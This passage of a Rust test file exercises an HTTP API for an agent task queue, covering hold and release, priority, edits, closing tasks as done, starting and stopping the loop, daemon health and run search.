10085 queue.get(&task.id).expect("reload").status,
10086 TaskStatus::Queued,
10087 "the refused hold changed nothing"
10088 );
10089 }
10090
10091 #[tokio::test]
10092 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10093 let f = Fixture::start().await;
10094 let queue = f.queue();
10095 let mut task = Task::new(
10096 "waiting on the migration".to_owned(),
10097 "Do the thing".to_owned(),
10098 PathBuf::from("/repo/magi"),
10099 Source::Human,
10100 );
10101 queue.put(&mut task).expect("file the task");
10102
10103 let held = f
10104 .post(
10105 &format!("/api/queue/{}/hold", task.id),
10106 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10107 )
10108 .await;
10109 assert_eq!(held.status, 200, "{}", held.body);
10110 assert_eq!(held.json()["status_str"], "held");
10111 assert_eq!(
10112 held.json()["hold_reason"],
10113 "waiting for 20260101-000000-aaaa to land"
10114 );
10115
10116 let listed = f.get("/api/queue").await.json();
10117 assert_eq!(
10118 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10119 "the card reads the reason off the same list route"
10120 );
10121
10122 let mut plain = Task::new(
10125 "no reason given".to_owned(),
10126 "Do another thing".to_owned(),
10127 PathBuf::from("/repo/magi"),
10128 Source::Human,
10129 );
10130 queue.put(&mut plain).expect("file the task");
10131 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10132 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10133 assert!(held_plain.json()["hold_reason"].is_null());
10134
10135 let released = f
10136 .post(&format!("/api/queue/{}/release", task.id), None)
10137 .await;
10138 assert_eq!(released.status, 200);
10139 assert!(
10140 released.json()["hold_reason"].is_null(),
10141 "a release must clear the reason so the next hold does not inherit it"
10142 );
10143 }
10144
10145 #[tokio::test]
10146 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10147 let f = Fixture::start().await;
10148 let queue = f.queue();
10149 let mut older = Task::new(
10150 "filed first".to_owned(),
10151 "x".to_owned(),
10152 PathBuf::from("/repo/magi"),
10153 Source::Human,
10154 );
10155 older.id = "20260101-000001-aaaa".to_owned();
10156 let mut newer = Task::new(
10157 "filed second".to_owned(),
10158 "x".to_owned(),
10159 PathBuf::from("/repo/magi"),
10160 Source::Human,
10161 );
10162 newer.id = "20260101-000002-bbbb".to_owned();
10163 queue.put(&mut older).expect("file older");
10164 queue.put(&mut newer).expect("file newer");
10165
10166 let before = f.get("/api/queue").await.json();
10169 assert_eq!(before[0]["id"], newer.id);
10170 assert_eq!(before[1]["id"], older.id);
10171
10172 let raised = f
10176 .post(
10177 &format!("/api/queue/{}/priority", older.id),
10178 Some(r#"{"priority":10}"#),
10179 )
10180 .await;
10181 assert_eq!(raised.status, 200, "{}", raised.body);
10182 assert_eq!(raised.json()["priority"], 10);
10183
10184 let after = f.get("/api/queue").await.json();
10185 let names: Vec<&str> = after
10186 .as_array()
10187 .unwrap()
10188 .iter()
10189 .map(|t| t["id"].as_str().unwrap())
10190 .collect();
10191 assert_eq!(names[0], older.id, "the raised task now sorts first");
10195 }
10196
10197 #[tokio::test]
10198 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10199 let f = Fixture::start().await;
10200 let queue = f.queue();
10201 let mut task = Task::new(
10202 "in flight".to_owned(),
10203 "x".to_owned(),
10204 PathBuf::from("/repo/magi"),
10205 Source::Human,
10206 );
10207 task.start("20260902-140502-bbbb".to_owned());
10208 queue.put(&mut task).expect("file the task");
10209
10210 let res = f
10211 .post(
10212 &format!("/api/queue/{}/priority", task.id),
10213 Some(r#"{"priority":9}"#),
10214 )
10215 .await;
10216 assert_eq!(res.status, 400, "{}", res.body);
10217 assert!(
10218 res.json()["error"]
10219 .as_str()
10220 .is_some_and(|e| e.contains("running")),
10221 "{}",
10222 res.body
10223 );
10224 assert_eq!(
10225 queue.get(&task.id).expect("reload").priority,
10226 0,
10227 "the refused write must not partially apply"
10228 );
10229 }
10230
10231 #[tokio::test]
10232 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10233 let f = Fixture::start().await;
10234 let queue = f.queue();
10235 let mut task = Task::new(
10236 "old title".to_owned(),
10237 "old instruction".to_owned(),
10238 PathBuf::from("/repo/magi"),
10239 Source::Agent {
10240 run: "20260101-000000-beef".to_owned(),
10241 node: "implement".to_owned(),
10242 },
10243 );
10244 task.runs.push("20260101-000000-beef".to_owned());
10245 queue.put(&mut task).expect("file the task");
10246 let created_at = task.created_at;
10247
10248 let edited = f
10249 .post(
10250 &format!("/api/queue/{}/edit", task.id),
10251 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10252 )
10253 .await;
10254 assert_eq!(edited.status, 200, "{}", edited.body);
10255 let body = edited.json();
10256 assert_eq!(body["title"], "new title");
10257 assert_eq!(body["instruction"], "new instruction");
10258 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10259 assert_eq!(body["created_at"], created_at.to_string());
10260 assert_eq!(
10261 body["source"]["kind"], "agent",
10262 "editing a task an agent filed must not turn it human: {body}"
10263 );
10264 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10265
10266 let reloaded = queue.get(&task.id).expect("reload");
10267 assert_eq!(reloaded.title, "new title");
10268 assert_eq!(reloaded.instruction, "new instruction");
10269 }
10270
10271 #[tokio::test]
10272 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10273 let tmp = TempDir::new().expect("tempdir");
10276 let repo = tmp.path().join("repo");
10277 std::fs::create_dir_all(&repo).expect("repo dir");
10278 let judge = MOCK_AGENT_TOML.replace(
10279 "printf ok",
10280 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10281 );
10282 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10283 let f = Fixture::with_repo(repo.clone()).await;
10284 let queue = f.queue();
10285 let mut owner = Task::new(
10286 "owner".to_owned(),
10287 "review it".to_owned(),
10288 repo.clone(),
10289 Source::Human,
10290 );
10291 owner.review_branch = Some("magi/ab12/A".to_owned());
10292 queue.put(&mut owner).expect("file the owner");
10293 let mut task = Task::new(
10294 "draft".to_owned(),
10295 "old".to_owned(),
10296 repo.clone(),
10297 Source::Human,
10298 );
10299 queue.put(&mut task).expect("file the draft");
10300 let url = format!("/api/queue/{}/edit", task.id);
10301
10302 let refused = f
10303 .post(
10304 &url,
10305 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10306 )
10307 .await;
10308 assert_eq!(refused.status, 409, "{}", refused.body);
10309 let msg = refused.json()["error"]
10310 .as_str()
10311 .unwrap_or_default()
10312 .to_owned();
10313 assert!(
10314 msg.contains("magi/ab12/A") && msg.contains("force"),
10315 "{msg}"
10316 );
10317 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10318
10319 let forced = f
10320 .post(
10321 &url,
10322 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10323 )
10324 .await;
10325 assert_eq!(forced.status, 200, "{}", forced.body);
10326 }
10327
10328 #[tokio::test]
10329 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10330 let f = Fixture::start().await;
10331 let queue = f.queue();
10332 let mut task = Task::new(
10333 "in flight".to_owned(),
10334 "do not touch".to_owned(),
10335 PathBuf::from("/repo/magi"),
10336 Source::Human,
10337 );
10338 task.start("20260902-140502-bbbb".to_owned());
10339 queue.put(&mut task).expect("file the task");
10340
10341 let res = f
10342 .post(
10343 &format!("/api/queue/{}/edit", task.id),
10344 Some(r#"{"title":"x","instruction":"y"}"#),
10345 )
10346 .await;
10347 assert_eq!(res.status, 400, "{}", res.body);
10348 assert!(
10349 res.json()["error"]
10350 .as_str()
10351 .is_some_and(|e| e.contains("running")),
10352 "{}",
10353 res.body
10354 );
10355 assert_eq!(
10356 queue.get(&task.id).expect("reload").instruction,
10357 "do not touch",
10358 "the refused edit must not change the file"
10359 );
10360 }
10361
10362 #[tokio::test]
10363 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10364 let f = Fixture::start().await;
10365 let queue = f.queue();
10366 let mut task = Task::new(
10367 "busy".to_owned(),
10368 "Running right now".to_owned(),
10369 PathBuf::from("/repo/magi"),
10370 Source::Human,
10371 );
10372 queue.put(&mut task).expect("file the task");
10373 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10374
10375 let priority = f
10376 .post(
10377 &format!("/api/queue/{}/priority", task.id),
10378 Some(r#"{"priority":9}"#),
10379 )
10380 .await;
10381 assert_eq!(priority.status, 409, "{}", priority.body);
10382
10383 let edit = f
10384 .post(
10385 &format!("/api/queue/{}/edit", task.id),
10386 Some(r#"{"title":"x","instruction":"y"}"#),
10387 )
10388 .await;
10389 assert_eq!(edit.status, 409, "{}", edit.body);
10390 }
10391
10392 #[tokio::test]
10393 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10394 let f = Fixture::start().await;
10395 let queue = f.queue();
10396 let mut task = Task::new(
10397 "shipped by hand".to_owned(),
10398 "merged outside the loop".to_owned(),
10399 PathBuf::from("/repo/magi"),
10400 Source::Agent {
10401 run: "20260101-000000-b455".to_owned(),
10402 node: "implement".to_owned(),
10403 },
10404 );
10405 task.runs.push("20260101-000000-b455".to_owned());
10406 task.runs.push("20260101-000000-9af4".to_owned());
10407 queue.put(&mut task).expect("file the task");
10408 let created_at = task.created_at;
10409
10410 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10411 assert_eq!(done.status, 200, "{}", done.body);
10412 assert_eq!(done.json()["status_str"], "done");
10413
10414 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10415 assert_eq!(
10416 reloaded.runs,
10417 ["20260101-000000-b455", "20260101-000000-9af4"]
10418 );
10419 assert_eq!(
10420 reloaded.source,
10421 Source::Agent {
10422 run: "20260101-000000-b455".to_owned(),
10423 node: "implement".to_owned(),
10424 }
10425 );
10426 assert_eq!(reloaded.created_at, created_at);
10427 }
10428
10429 #[tokio::test]
10430 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10431 let f = Fixture::start().await;
10436 let queue = f.queue();
10437 let mut task = Task::new(
10438 "landed while held".to_owned(),
10439 "x".to_owned(),
10440 PathBuf::from("/repo/magi"),
10441 Source::Human,
10442 );
10443 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10444 queue.put(&mut task).expect("file the held task");
10445
10446 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10447 assert_eq!(done.status, 200, "{}", done.body);
10448 assert_eq!(done.json()["status_str"], "done");
10449 assert!(
10450 done.json()["hold_reason"].is_null(),
10451 "a done task cannot still be waiting on something: {}",
10452 done.body
10453 );
10454 }
10455
10456 #[tokio::test]
10457 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10458 let f = Fixture::start().await;
10463 let queue = f.queue();
10464 let runs = f.runs();
10465 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10466 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10470
10471 let mut task = Task::new(
10472 "landed by hand".to_owned(),
10473 "x".to_owned(),
10474 PathBuf::from("/repo/magi"),
10475 Source::Human,
10476 );
10477 task.runs.push("20260101-000000-doa1".to_owned());
10478 task.runs.push("20260101-000000-doa2".to_owned());
10479 queue.put(&mut task).expect("file the task");
10480
10481 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10482 assert_eq!(done.status, 200, "{}", done.body);
10483
10484 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10485 .expect("run still on disk under this fixture's own home");
10486 assert_eq!(
10487 reloaded_run.status,
10488 RunStatus::Superseded,
10489 "closing the task by hand must relabel the earlier blocked attempt exactly \
10490 like the loop's own settle path does"
10491 );
10492 }
10493
10494 #[tokio::test]
10495 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10496 let f = Fixture::start().await;
10501 let queue = f.queue();
10502 let runs = f.runs();
10503 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10504 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10505
10506 let mut task = Task::new(
10507 "closed with nothing actually landed".to_owned(),
10508 "x".to_owned(),
10509 PathBuf::from("/repo/magi"),
10510 Source::Human,
10511 );
10512 task.runs.push("20260101-000000-dob1".to_owned());
10513 task.runs.push("20260101-000000-dob2".to_owned());
10514 queue.put(&mut task).expect("file the task");
10515
10516 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10517 assert_eq!(done.status, 200, "{}", done.body);
10518
10519 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10520 .expect("run still on disk under this fixture's own home");
10521 assert_eq!(
10522 reloaded_run.status,
10523 RunStatus::Blocked,
10524 "the last recorded attempt never landed, so the earlier one must not be \
10525 relabelled as superseded by it"
10526 );
10527 }
10528
10529 #[tokio::test]
10530 async fn unknown_ids_are_json_not_found_on_both_stores() {
10531 let f = Fixture::start().await;
10532
10533 let run = f.get("/api/runs/nosuchrun").await;
10534 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10535
10536 assert_eq!(run.status, 404);
10537 assert_eq!(task.status, 404);
10538 assert!(
10539 run.json()["error"]
10540 .as_str()
10541 .is_some_and(|e| e.contains("run")),
10542 "the error names what was not found: {}",
10543 run.body
10544 );
10545 assert!(
10546 task.json()["error"]
10547 .as_str()
10548 .is_some_and(|e| e.contains("task")),
10549 "the error names what was not found: {}",
10550 task.body
10551 );
10552 }
10553
10554 #[tokio::test]
10555 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10556 let f = Fixture::start().await;
10557
10558 let missing = f.get("/api/health").await.json();
10559 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10560
10561 write_daemon(
10562 f.home.path(),
10563 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10564 );
10565 let stale = f.get("/api/health").await.json();
10566 assert_eq!(
10567 stale["daemon"]["running"], false,
10568 "a minute without a heartbeat is a dead daemon, not a busy one"
10569 );
10570 assert!(
10571 stale["daemon"]["stale_for_secs"]
10572 .as_i64()
10573 .is_some_and(|s| s >= 55),
10574 "staleness is reported so the UI can say how long: {stale}"
10575 );
10576
10577 write_daemon(f.home.path(), Timestamp::now());
10578 let fresh = f.get("/api/health").await.json();
10579 assert_eq!(fresh["daemon"]["running"], true);
10580 assert_eq!(fresh["daemon"]["idle"], false);
10581 assert_eq!(fresh["daemon"]["pid"], 4242);
10582 assert_eq!(fresh["daemon"]["completed"], 7);
10583 assert_eq!(
10584 fresh["daemon"]["current"][0]["task"],
10585 "20260902-140501-aaaa"
10586 );
10587 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10588 }
10589
10590 #[tokio::test]
10591 async fn the_loop_is_not_running_until_something_starts_it() {
10592 let f = Fixture::start().await;
10593
10594 let view = f.get("/api/loop").await.json();
10595 assert_eq!(view["running"], false);
10596 assert_eq!(
10597 view["owned"], false,
10598 "nobody owns a loop that does not exist: {view}"
10599 );
10600 assert_eq!(view["stopping"], false);
10601 assert_eq!(view["last_error"], Value::Null);
10602 assert_eq!(view["daemon"]["running"], false);
10603 assert_eq!(
10604 view["repo"], "/repo/magi",
10605 "the repository a start would use, named before it is started"
10606 );
10607 }
10608
10609 #[tokio::test]
10610 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10611 let f = Fixture::start().await;
10612
10613 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10614 assert_eq!(res.status, 200, "{}", res.body);
10615 let view = res.json();
10616 assert_eq!(view["running"], true);
10617 assert_eq!(
10618 view["owned"], true,
10619 "the loop the UI started is the UI's own to stop: {view}"
10620 );
10621 assert_eq!(
10622 view["merge"],
10623 Value::Null,
10624 "no override was given, so each repository's own config decides"
10625 );
10626
10627 let health = f.get("/api/health").await.json();
10631 assert_eq!(health["loop"]["running"], true, "{health}");
10632 assert_eq!(health["loop"]["owned"], true, "{health}");
10633
10634 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10635 }
10636
10637 #[tokio::test]
10638 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10639 let f = Fixture::start().await;
10640 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10641 assert_eq!(first.status, 200, "{}", first.body);
10642
10643 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10644 assert_eq!(
10645 again.status, 409,
10646 "two loops on one queue race for the same claims: {}",
10647 again.body
10648 );
10649 assert!(
10650 again.json()["error"]
10651 .as_str()
10652 .is_some_and(|e| e.contains("already running the loop")),
10653 "the refusal has to say why: {}",
10654 again.body
10655 );
10656 assert_eq!(
10657 f.get("/api/loop").await.json()["running"],
10658 true,
10659 "and the loop that was already running is untouched by it"
10660 );
10661
10662 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10663 }
10664
10665 #[tokio::test]
10666 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10667 let f = Fixture::start().await;
10668 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10669
10670 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10671 assert_eq!(
10672 res.status, 200,
10673 "the answer must not wait for the loop: a run in flight is tens of \
10674 minutes and the operator is holding a phone: {}",
10675 res.body
10676 );
10677
10678 let view = settled(&f, |v| v["running"] == false).await;
10679 assert_eq!(view["owned"], false);
10680 assert_eq!(
10681 view["stopping"], false,
10682 "a loop that has stopped is not still stopping: {view}"
10683 );
10684 assert_eq!(
10685 view["last_error"],
10686 Value::Null,
10687 "a loop that was asked to stop did not fail: {view}"
10688 );
10689
10690 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10693 assert_eq!(twice.status, 200, "{}", twice.body);
10694 }
10695
10696 #[tokio::test]
10697 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10698 let f = Fixture::start().await;
10699 write_daemon(f.home.path(), Timestamp::now());
10702
10703 let view = f.get("/api/loop").await.json();
10704 assert_eq!(view["running"], false, "not in this process: {view}");
10705 assert_eq!(view["owned"], false, "and not this process's to control");
10706 assert_eq!(
10707 view["daemon"]["running"], true,
10708 "but a loop is alive somewhere, which is what the UI must say"
10709 );
10710 assert_eq!(view["daemon"]["pid"], 4242);
10711
10712 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10713 let res = f.post("/api/loop", Some(body)).await;
10714 assert_eq!(
10715 res.status, 409,
10716 "neither button may pretend to work on someone else's loop: {}",
10717 res.body
10718 );
10719 assert!(
10720 res.json()["error"]
10721 .as_str()
10722 .is_some_and(|e| e.contains("4242")),
10723 "the refusal has to name the process the operator must go to: {}",
10724 res.body
10725 );
10726 }
10727 assert_eq!(
10728 f.get("/api/loop").await.json()["running"],
10729 false,
10730 "and the refusal started nothing"
10731 );
10732 }
10733
10734 #[tokio::test]
10735 async fn a_stale_status_file_is_not_a_foreign_owner() {
10736 let f = Fixture::start().await;
10737 write_daemon(
10738 f.home.path(),
10739 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10740 );
10741
10742 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10743 assert_eq!(
10744 res.status, 200,
10745 "a daemon killed a minute ago must not lock the loop out of its \
10746 own home for good: {}",
10747 res.body
10748 );
10749 assert_eq!(res.json()["running"], true);
10750
10751 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10752 }
10753
10754 #[tokio::test]
10755 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10756 let f = Fixture::start().await;
10757 let before = f.get("/api/health").await.json()["loop_rev"]
10758 .as_u64()
10759 .expect("a loop revision");
10760
10761 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10762
10763 let after = f.get("/api/health").await.json()["loop_rev"]
10764 .as_u64()
10765 .expect("a loop revision");
10766 assert!(
10767 after > before,
10768 "the loop is in-process state, so this counter is the only thing \
10769 that tells a second device the first one started it: {before} -> \
10770 {after}"
10771 );
10772
10773 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10774 }
10775
10776 #[tokio::test]
10777 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10778 let f = Fixture::with_loop(launch_broken).await;
10779
10780 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10781 assert_eq!(
10782 res.status, 200,
10783 "starting it is not the failure: {}",
10784 res.body
10785 );
10786
10787 let view = settled(&f, |v| v["last_error"].is_string()).await;
10788 assert_eq!(
10789 view["running"], false,
10790 "a loop that died must not read as running, or the operator has \
10791 nothing to press: {view}"
10792 );
10793 assert_eq!(view["owned"], false);
10794 assert!(
10795 view["last_error"]
10796 .as_str()
10797 .is_some_and(|e| e.contains("read-only file system")),
10798 "the phone is where a loop that died at 3am is visible: {view}"
10799 );
10800
10801 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10804 assert_eq!(again.status, 200, "{}", again.body);
10805 assert_eq!(
10806 again.json()["last_error"],
10807 Value::Null,
10808 "a fresh start does not keep showing why the last one died"
10809 );
10810 }
10811
10812 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10824 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10825 let home = TempDir::new().expect("temp home");
10826 let runs = home.path().join("runs");
10827 std::fs::create_dir_all(&runs).expect("runs dir");
10828 let ui = Ui::new(
10829 Queue::at(home.path().join("queue")),
10830 Questions::at(home.path().join("questions")),
10831 Talks::at(home.path().join("talks")),
10832 runs,
10833 home.path().to_path_buf(),
10834 PathBuf::from("/repo/magi"),
10835 )
10836 .with_worktrees_root(home.path().join("wt"))
10837 .with_launch(launch_knocking_on_the_way_out);
10838 let looping = ui.looping();
10839 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10840 .await
10841 .expect("bind loopback");
10842 let addr = listener.local_addr().expect("local addr");
10843 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10844 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10845
10846 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10847 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10848
10849 let bound = std::sync::Mutex::new(None);
10864 hand_over(home.path(), &looping, served, |_| {
10865 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10866 let attempt = loop {
10867 match std::net::TcpListener::bind(addr) {
10868 Ok(l) => {
10869 drop(l);
10870 break Ok(());
10871 }
10872 Err(e)
10873 if e.kind() == std::io::ErrorKind::AddrInUse
10874 && std::time::Instant::now() < deadline =>
10875 {
10876 std::thread::sleep(std::time::Duration::from_millis(10));
10877 }
10878 Err(e) => break Err(e.to_string()),
10879 }
10880 };
10881 *bound.lock().expect("bound") = Some(attempt);
10882 Ok(1)
10883 })
10884 .await
10885 .expect("hand over");
10886
10887 assert_eq!(
10888 *PARK_HEARD.lock().expect("park heard"),
10889 Some(200),
10890 "the deck must answer while the loop is parking"
10891 );
10892 let attempt = bound
10893 .lock()
10894 .expect("bound")
10895 .take()
10896 .expect("the successor was started");
10897 assert!(
10898 attempt.is_ok(),
10899 "and the address must be free by the time it is: {attempt:?}"
10900 );
10901 }
10902
10903 #[tokio::test]
10904 async fn a_newer_daemon_status_file_still_renders() {
10905 let f = Fixture::start().await;
10906 std::fs::write(
10909 f.home.path().join("daemon.json"),
10910 serde_json::json!({
10911 "schema": 2,
10912 "updated_at": Timestamp::now().to_string(),
10913 "idle": true,
10914 "surprise": { "nested": [1, 2, 3] },
10915 })
10916 .to_string(),
10917 )
10918 .expect("write daemon.json");
10919
10920 let health = f.get("/api/health").await;
10921
10922 assert_eq!(health.status, 200);
10923 assert_eq!(health.json()["daemon"]["running"], true);
10924 }
10925
10926 #[tokio::test]
10927 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10928 let f = Fixture::start().await;
10929 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10930 let broken = f.runs().join("20260902-140502-bad");
10931 std::fs::create_dir_all(&broken).expect("run dir");
10932 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10933
10934 let list = f.get("/api/runs").await;
10935 let detail = f.get("/api/runs/20260902-140502-bad").await;
10936
10937 assert_eq!(list.status, 200);
10938 let listed = list.json();
10939 let ids: Vec<&str> = listed
10940 .as_array()
10941 .expect("an array")
10942 .iter()
10943 .map(|r| r["id"].as_str().expect("an id"))
10944 .collect();
10945 assert_eq!(
10946 ids,
10947 vec!["20260902-140501-good"],
10948 "one unreadable run must not cost the operator the whole history"
10949 );
10950 assert_eq!(detail.status, 500);
10951 assert!(
10952 detail.json()["error"]
10953 .as_str()
10954 .is_some_and(|e| e.contains("run.json")),
10955 "the failure names the file to look at: {}",
10956 detail.body
10957 );
10958 let health = f.get("/api/health").await;
10962 assert_eq!(health.json()["runs_unreadable"], 1);
10963 }
10964
10965 #[tokio::test]
10967 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10968 let f = Fixture::start().await;
10969 let runs = f.runs();
10970 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10971 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10972 let path = runs.join("20260902-140502-bbbb").join("run.json");
10975 let mut v: serde_json::Value =
10976 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10977 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10978 std::fs::write(&path, v.to_string()).unwrap();
10979 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10980 std::fs::write(
10981 runs.join("20260902-140503-cccc").join("run.json"),
10982 "{ not json",
10983 )
10984 .unwrap();
10985
10986 let res = f.get("/api/search?scope=runs&q=quokka").await;
10987 assert_eq!(res.status, 200, "{}", res.body);
10988 let v = res.json();
10989 assert_eq!(v["total"], 1, "{v}");
10990 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10991 assert_eq!(v["hits"][0]["field"], "text");
10992 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10993 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10994 assert!(
10995 parts
10996 .iter()
10997 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10998 "{v}"
10999 );
11000 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11001 assert_eq!(
11002 flat, "The Quokka leaks across threads",
11003 "whitespace is collapsed"
11004 );
11005
11006 let both = f
11008 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11009 .await
11010 .json();
11011 assert_eq!(both["total"], 1, "{both}");
11012 let neither = f
11013 .get("/api/search?scope=runs&q=quokka%20zebra")
11014 .await
11015 .json();
11016 assert_eq!(neither["total"], 0, "{neither}");
11017 let stmt = f
11019 .get("/api/search?scope=runs&q=mobile%20first")
11020 .await
11021 .json();
11022 assert_eq!(stmt["total"], 2, "{stmt}");
11023 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11024 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11025 }
11026
11027 #[test]
11028 fn snippet_ignores_terms_longer_than_the_field() {
11029 let terms = ["ok".to_owned(), "elephant".to_owned()];
11030 let parts = snippet_of("ok", &terms);
11031 assert_eq!(
11032 parts,
11033 vec![SnippetPart {
11034 text: "ok".to_owned(),
11035 hit: true
11036 }]
11037 );
11038 }
11039
11040 #[test]
11041 fn snippet_marks_matches_longer_than_the_window() {
11042 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11043 let hit_len = |parts: &[SnippetPart]| -> usize {
11044 parts
11045 .iter()
11046 .filter(|p| p.hit)
11047 .map(|p| p.text.chars().count())
11048 .sum()
11049 };
11050 let total =
11051 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11052
11053 let long = "a".repeat(120);
11054 let parts = snippet_of(&long, std::slice::from_ref(&long));
11055 assert!(hit_len(&parts) > 0, "{parts:?}");
11056 assert!(total(&parts) <= cap);
11057
11058 let ja = "あ".repeat(130);
11059 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11060 assert!(hit_len(&parts) > 0, "{parts:?}");
11061 assert!(total(&parts) <= cap);
11062
11063 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11065 let term = format!("ab{}", "c".repeat(100));
11066 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11067 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11068 assert!(total(&parts) <= cap);
11069
11070 let text = format!("{}z", "a".repeat(119));
11072 let parts = snippet_of(&text, &["a".repeat(120)]);
11073 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11074 }
11075
11076 #[tokio::test]
11077 async fn search_caps_hits_and_snippet_length() {
11078 let f = Fixture::start().await;
11079 let runs = f.runs();
11080 for n in 0..(SEARCH_MAX_HITS + 5) {
11081 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11082 }
11083 let v = f.get("/api/search?scope=runs&q=web").await.json();
11084 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11085 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11086 assert_eq!(v["truncated"], true);
11087 assert!(
11089 v["hits"]
11090 .as_array()
11091 .unwrap()
11092 .iter()
11093 .all(|h| h["run"]["status"] == "merged")
11094 );
11095
11096 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11097 let parts = snippet_of(&long, &["needle".to_owned()]);
11098 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11099 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11100 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11101 }
11102
11103 #[tokio::test]
